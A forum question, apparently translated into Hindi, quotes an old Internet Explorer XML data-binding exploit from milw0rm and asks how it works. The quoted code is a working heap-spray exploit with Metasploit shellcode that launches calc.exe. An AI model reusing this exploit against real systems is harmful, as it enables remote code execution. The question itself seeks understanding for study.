मुझे आमतौर पर जावास्क्रिप्ट कोड पढ़ने में कठिनाई नहीं होती है, लेकिन इसके लिए मैं तर्क का पता नहीं लगा सकता। कोड एक शोषण से है जिसे 4 दिन पहले प्रकाशित किया गया है। आप इसे milw0rm पर पा सकते हैं ।
यहाँ कोड है:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
यहाँ मुझे विश्वास है कि यह करता है और मैं चाहूंगा कि आप उस हिस्से के लिए मेरी मदद करें जिसे मैं गलत समझता हूं।
चर shellcode
को खोलने के लिए कोड है calc.exe
। मुझे नहीं पता कि उन्होंने उस अजीब तार को कैसे पाया। कोई उपाय?
दूसरी चीज परिवर्तनशील है spray
। मुझे यह अजीब लूप समझ नहीं आता।
तीसरी चीज वह चर है memory
जिसका कभी भी कहीं भी उपयोग नहीं किया जाता है। वे इसे क्यों बनाते हैं?
अंतिम बात: पेज में XML टैग क्या करता है?
फिलहाल मेरे पास अच्छे जवाब हैं लेकिन ज्यादातर बहुत सामान्य हैं। मुझे कोड के मूल्य के बारे में और स्पष्टीकरण चाहिए। एक उदाहरण है unescape("%u0a0a%u0a0a");
। इसका क्या मतलब है? लूप के लिए एक ही बात: डेवलपर ने क्यों लिखा length < 0xd0000
:? मैं इस कोड का सिद्धांत ही नहीं, गहरी समझ भी चाहूंगा।